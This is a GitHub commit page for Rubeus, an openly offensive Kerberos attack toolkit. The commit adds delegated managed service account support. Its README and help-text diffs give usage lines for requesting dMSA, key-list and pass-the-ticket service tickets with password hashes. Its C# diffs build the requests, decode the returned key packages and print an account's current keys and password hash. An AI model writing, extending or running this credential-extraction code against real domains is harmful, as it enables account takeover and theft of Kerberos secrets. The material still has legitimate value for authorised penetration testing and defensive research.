Skip to content

Commit

Permalink
Support Delegated Managed Service Account Kerberos Processes (#194)
Browse files Browse the repository at this point in the history
* Initial Implementation of DMSA Support. This includes KERB-DMSA-KEY-PACKAGE and KERB-SUPERSEDED-BY-USER structures and returning data.

* Remove a console output

* Help doc updates

* Ticket Display Updates so if previous keys are needed they can be added at a later date easily.

* Clean up, comments and support child domain fqdns

* Update versions

* Change output for DMSA Request to include DMSA User and the requesting user (Computer)
  • Loading branch information
JoeDibley authored Feb 1, 2025
1 parent 6ce9544 commit afa32af
Show file tree
Hide file tree
Showing 15 changed files with 206 additions and 25 deletions.
8 changes: 7 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -83,7 +83,7 @@ Rubeus is licensed under the BSD 3-Clause license.
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.3.1
v2.3.3


Ticket requests and renewals:
Expand Down Expand Up @@ -114,6 +114,12 @@ Rubeus is licensed under the BSD 3-Clause license.

Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

Retrieve a service ticket using the Kerberos Key List Request options:
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

Retrieve a delegated managed service account ticket:
Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Expand Down
10 changes: 8 additions & 2 deletions Rubeus/Commands/Asktgs.cs
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@ public void Execute(Dictionary<string, string> arguments)
bool printargs = false;
bool keyList = false;
string proxyUrl = null;
bool dmsa = false;

if (arguments.ContainsKey("/keyList"))
{
Expand Down Expand Up @@ -160,6 +161,11 @@ public void Execute(Dictionary<string, string> arguments)
proxyUrl = arguments["/proxyurl"];
}

if (arguments.ContainsKey("/dmsa"))
{
dmsa = true;
}

if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
Expand All @@ -168,14 +174,14 @@ public void Execute(Dictionary<string, string> arguments)
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList);
Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList, dmsa);
return;
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList);
Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList, dmsa);
return;
}
else
Expand Down
5 changes: 4 additions & 1 deletion Rubeus/Domain/Info.cs
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ public static void ShowLogo()
Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
Console.WriteLine(" v2.3.2 \r\n");
Console.WriteLine(" v2.3.3 \r\n");
}

public static void ShowUsage()
Expand Down Expand Up @@ -44,6 +44,9 @@ public static void ShowUsage()
Retrieve a service ticket using the Kerberos Key List Request options:
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Retrieve a delegated managed service account ticket:
Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Expand Down
2 changes: 2 additions & 0 deletions Rubeus/Rubeus.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -135,6 +135,8 @@
<Compile Include="lib\krb_structures\Authenticator.cs" />
<Compile Include="lib\krb_structures\AuthorizationData.cs" />
<Compile Include="lib\krb_structures\Checksum.cs" />
<Compile Include="lib\krb_structures\PA_DMSA_KEY_PACKAGE.cs" />
<Compile Include="lib\krb_structures\PA_SUPERSEDED_BY_USER.cs" />
<Compile Include="lib\krb_structures\PA_KEY_LIST_REP.cs" />
<Compile Include="lib\krb_structures\EncryptedPAData.cs" />
<Compile Include="lib\krb_structures\EncKDCRepPart.cs" />
Expand Down
26 changes: 20 additions & 6 deletions Rubeus/lib/Ask.cs
Original file line number Diff line number Diff line change
Expand Up @@ -62,6 +62,12 @@ public class Ask
try
{
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}: {2}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code, error.e_text);
if(error.e_data[0].type == Interop.PADATA_TYPE.SUPERSEDED_BY_USER)
{
PA_SUPERSEDED_BY_USER obj = (PA_SUPERSEDED_BY_USER)error.e_data[0].value;
Console.WriteLine("[*] {0} is superseded by {1}", userName, obj.name.name_string[0]);
}

}
catch
{
Expand Down Expand Up @@ -318,7 +324,7 @@ public static int GetKeySize(Interop.KERB_ETYPE etype) {
}
}

public static void TGS(KRB_CRED kirbi, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false, string proxyUrl = null, bool keyList = false)
public static void TGS(KRB_CRED kirbi, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false, string proxyUrl = null, bool keyList = false, bool dmsa = false)
{
// kirbi = the TGT .kirbi to use for ticket requests
// service = the SPN being requested
Expand All @@ -340,12 +346,12 @@ public static void TGS(KRB_CRED kirbi, string service, Interop.KERB_ETYPE reques
foreach (string sname in services)
{
// request the new service ticket
TGS(userName, domain, ticket, clientKey, paEType, sname, requestEType, outfile, ptt, domainController, display, enterprise, roast, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList);
TGS(userName, domain, ticket, clientKey, paEType, sname, requestEType, outfile, ptt, domainController, display, enterprise, roast, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList, dmsa);
Console.WriteLine();
}
}

public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false, string proxyUrl = null, bool keyList = false)
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false, string proxyUrl = null, bool keyList = false, bool dmsa = false)
{

if (display)
Expand All @@ -361,6 +367,8 @@ public static byte[] TGS(string userName, string domain, Ticket providedTicket,

if (keyList)
Console.WriteLine("[*] Building KeyList TGS-REQ request for: '{0}'", userName);
else if (dmsa)
Console.WriteLine("[*] Building DMSA TGS-REQ request for '{0}' from '{1}'", targetUser, userName);
else if (!String.IsNullOrEmpty(service))
Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
else if (u2u)
Expand All @@ -374,7 +382,7 @@ public static byte[] TGS(string userName, string domain, Ticket providedTicket,
if (u2u && tgs != null && String.IsNullOrEmpty(service))
service = tgs.enc_part.ticket_info[0].pname.name_string[0];

byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u, keyList);
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u, keyList, dmsa);

byte[] response = null;
string dcIP = null;
Expand Down Expand Up @@ -426,7 +434,13 @@ public static byte[] TGS(string userName, string domain, Ticket providedTicket,
{
keyListHash = Helpers.ByteArrayToString(encRepPart.encryptedPaData.PA_KEY_LIST_REP.encryptionKey.keyvalue);
}


// extract DMSA_KEY_PACKAGE for parsing to displayTicket.
PA_DMSA_KEY_PACKAGE dmsaCurrentKeys = null;
if (dmsa)
{
dmsaCurrentKeys = encRepPart.encryptedPaData.PA_DMSA_KEY_PACKAGE;
}

// if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT
if (opsec && (!roast) && ((encRepPart.flags & Interop.TicketFlags.ok_as_delegate) != 0))
Expand Down Expand Up @@ -525,7 +539,7 @@ public static byte[] TGS(string userName, string domain, Ticket providedTicket,

LSA.DisplayTicket(kirbi, 2, false, false, false, false,
string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey),
null,null,null,string.IsNullOrEmpty(keyListHash) ? null : Helpers.StringToByteArray(keyListHash));
null,null,null,string.IsNullOrEmpty(keyListHash) ? null : Helpers.StringToByteArray(keyListHash), null, dmsaCurrentKeys);
}

if (!String.IsNullOrEmpty(outfile))
Expand Down
8 changes: 6 additions & 2 deletions Rubeus/lib/Interop.cs
Original file line number Diff line number Diff line change
Expand Up @@ -260,14 +260,18 @@ public enum PADATA_TYPE : UInt32
PK_AS_09_BINDING = 132,
CLIENT_CANONICALIZED = 133,
KEY_LIST_REQ = 161,
KEY_LIST_REP = 162
KEY_LIST_REP = 162,
SUPERSEDED_BY_USER = 170,
DMSA_KEY_PACKAGE = 171
}

// from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/cd9d5ca7-ce20-4693-872b-2f5dd41cbff6
public enum PA_S4U_X509_USER_OPTIONS : Int32
{
CHECK_LOGON_RESTRICTIONS = 0x40000000,
SIGN_REPLY = 0x20000000
SIGN_REPLY = 0x20000000,
NT_AUTH_POLICY_NOT_REQUIRED = 0x10000000,
UNCONDITIONAL_DELEGATION = 0x08000000
}

[Flags]
Expand Down
12 changes: 11 additions & 1 deletion Rubeus/lib/LSA.cs
Original file line number Diff line number Diff line change
Expand Up @@ -478,7 +478,7 @@ public static void DisplaySessionCreds(List<SESSION_CRED> sessionCreds, TicketDi
}
}

public static void DisplayTicket(KRB_CRED cred, int indentLevel = 2, bool displayTGT = false, bool displayB64ticket = false, bool extractKerberoastHash = true, bool nowrap = false, byte[] serviceKey = null, byte[] asrepKey = null, string serviceUser = "", string serviceDomain = "", byte[] krbKey = null, byte[] keyList = null, string desPlainText = "")
public static void DisplayTicket(KRB_CRED cred, int indentLevel = 2, bool displayTGT = false, bool displayB64ticket = false, bool extractKerberoastHash = true, bool nowrap = false, byte[] serviceKey = null, byte[] asrepKey = null, string serviceUser = "", string serviceDomain = "", byte[] krbKey = null, byte[] keyList = null, string desPlainText = "", PA_DMSA_KEY_PACKAGE dmsaCurrentKeys = null)
{
// displays a given .kirbi (KRB_CRED) object, with display options

Expand Down Expand Up @@ -542,6 +542,16 @@ public static void DisplayTicket(KRB_CRED cred, int indentLevel = 2, bool displa
Console.WriteLine("{0}Password Hash : {2}", indent, userName, Helpers.ByteArrayToString(keyList));
}

if(dmsaCurrentKeys != null)
{
string etypeName = Enum.GetName(typeof(Interop.KERB_ETYPE), dmsaCurrentKeys.currentKeys.encryptionKey.keytype);
string cKeyValue = Helpers.ByteArrayToString(dmsaCurrentKeys.currentKeys.encryptionKey.keyvalue);


Console.WriteLine("{0}Current Keys for {1}: ({2}) {3}", indent, userName, etypeName, cKeyValue);
}


//We display the ASREP decryption key as this is needed for decrypting
//PAC_CREDENTIAL_INFO inside both the AS-REP and TGS-REP Tickets when
//PKINIT is used
Expand Down
8 changes: 8 additions & 0 deletions Rubeus/lib/krb_structures/EncryptedPAData.cs
Original file line number Diff line number Diff line change
Expand Up @@ -39,12 +39,20 @@ public EncryptedPAData(AsnElt body)
PA_KEY_LIST_REP = new PA_KEY_LIST_REP(ae);
}

// Decode the DMSA_KEY_PACKAGE
if (keytype == (Int32)Interop.PADATA_TYPE.DMSA_KEY_PACKAGE)
{
AsnElt ae = AsnElt.Decode(keyvalue);
PA_DMSA_KEY_PACKAGE = new PA_DMSA_KEY_PACKAGE(ae);
}
}

public Int32 keytype { get; set; }

public byte[] keyvalue { get; set; }

public PA_KEY_LIST_REP PA_KEY_LIST_REP { get; set; }

public PA_DMSA_KEY_PACKAGE PA_DMSA_KEY_PACKAGE { get; set; }
}
}
10 changes: 8 additions & 2 deletions Rubeus/lib/krb_structures/PA_DATA.cs
Original file line number Diff line number Diff line change
Expand Up @@ -56,12 +56,12 @@ public PA_DATA(byte[] key, string name, string realm)
value = new PA_FOR_USER(key, name, realm);
}

public PA_DATA(byte[] key, string name, string realm, uint nonce, Interop.KERB_ETYPE eType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
public PA_DATA(byte[] key, string name, string realm, uint nonce, Interop.KERB_ETYPE eType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1, bool dmsa = false)
{
// used for constrained delegation
type = Interop.PADATA_TYPE.PA_S4U_X509_USER;

value = new PA_S4U_X509_USER(key, name, realm, nonce, eType);
value = new PA_S4U_X509_USER(key, name, realm, nonce, eType, dmsa);
}

public PA_DATA(Interop.KERB_ETYPE eTYPE)
Expand Down Expand Up @@ -149,6 +149,12 @@ public PA_DATA(AsnElt body)
case Interop.PADATA_TYPE.ETYPE_INFO2:
value = new ETYPE_INFO2_ENTRY(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
break;
case Interop.PADATA_TYPE.SUPERSEDED_BY_USER:
value = new PA_SUPERSEDED_BY_USER(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
break;
case Interop.PADATA_TYPE.DMSA_KEY_PACKAGE:
value = new PA_DMSA_KEY_PACKAGE(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
break;
}
}

Expand Down
58 changes: 58 additions & 0 deletions Rubeus/lib/krb_structures/PA_DMSA_KEY_PACKAGE.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Asn1;

namespace Rubeus
{
public class PA_DMSA_KEY_PACKAGE
{
// KERB-DMSA-KEY-PACKAGE::= SEQUENCE {
// current-keys[0] SEQUENCE OF EncryptionKey,
// previous-keys[1] SEQUENCE OF EncryptionKey OPTIONAL,
// expiration-interval[2] KerberosTime,
// fetch-interval[4] KerberosTime,
// }


public PA_DMSA_KEY_PACKAGE()
{
currentKeys = new PA_KEY_LIST_REP();
previousKeys = new PA_KEY_LIST_REP();
expirationInterval = DateTime.UtcNow;
fetchInterval = DateTime.UtcNow;
}

public PA_DMSA_KEY_PACKAGE(AsnElt body)
{
currentKeys = new PA_KEY_LIST_REP(body.Sub[0].Sub[0]);
previousKeys = new PA_KEY_LIST_REP(body.Sub[1].Sub[0]);
expirationInterval = body.Sub[2].Sub[0].GetTime();
fetchInterval = body.Sub[3].Sub[0].GetTime();
}

public AsnElt Encode()
{

AsnElt currentKeysAsn = currentKeys.Encode();
AsnElt currentKeysSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { currentKeysAsn });

AsnElt previousKeysAsn = previousKeys.Encode();
AsnElt previousKeysSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { previousKeysAsn });

AsnElt expirationIntervalAsn = AsnElt.MakeTime(AsnElt.GeneralizedTime, expirationInterval);
AsnElt fetchIntervalAsn = AsnElt.MakeTime(AsnElt.GeneralizedTime, fetchInterval);


AsnElt dmsaKeyPackageSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { currentKeysSeq, previousKeysSeq, expirationIntervalAsn, fetchIntervalAsn });
return dmsaKeyPackageSeq;
}

public PA_KEY_LIST_REP currentKeys { get; set; }
public PA_KEY_LIST_REP previousKeys { get; set; }
public DateTime expirationInterval { get; set; }
public DateTime fetchInterval { get; set; }
}
}

7 changes: 7 additions & 0 deletions Rubeus/lib/krb_structures/PA_KEY_LIST_REP.cs
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,13 @@ public PA_KEY_LIST_REP(AsnElt body)
encryptionKey = new EncryptionKey(body);
}

public AsnElt Encode()
{
AsnElt encryptionKeyAsn = encryptionKey.Encode();
AsnElt encryptionKeySeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { encryptionKeyAsn });
return encryptionKeySeq;
}

public EncryptionKey encryptionKey { get; set; }

}
Expand Down
Loading

0 comments on commit afa32af

Please sign in to comment.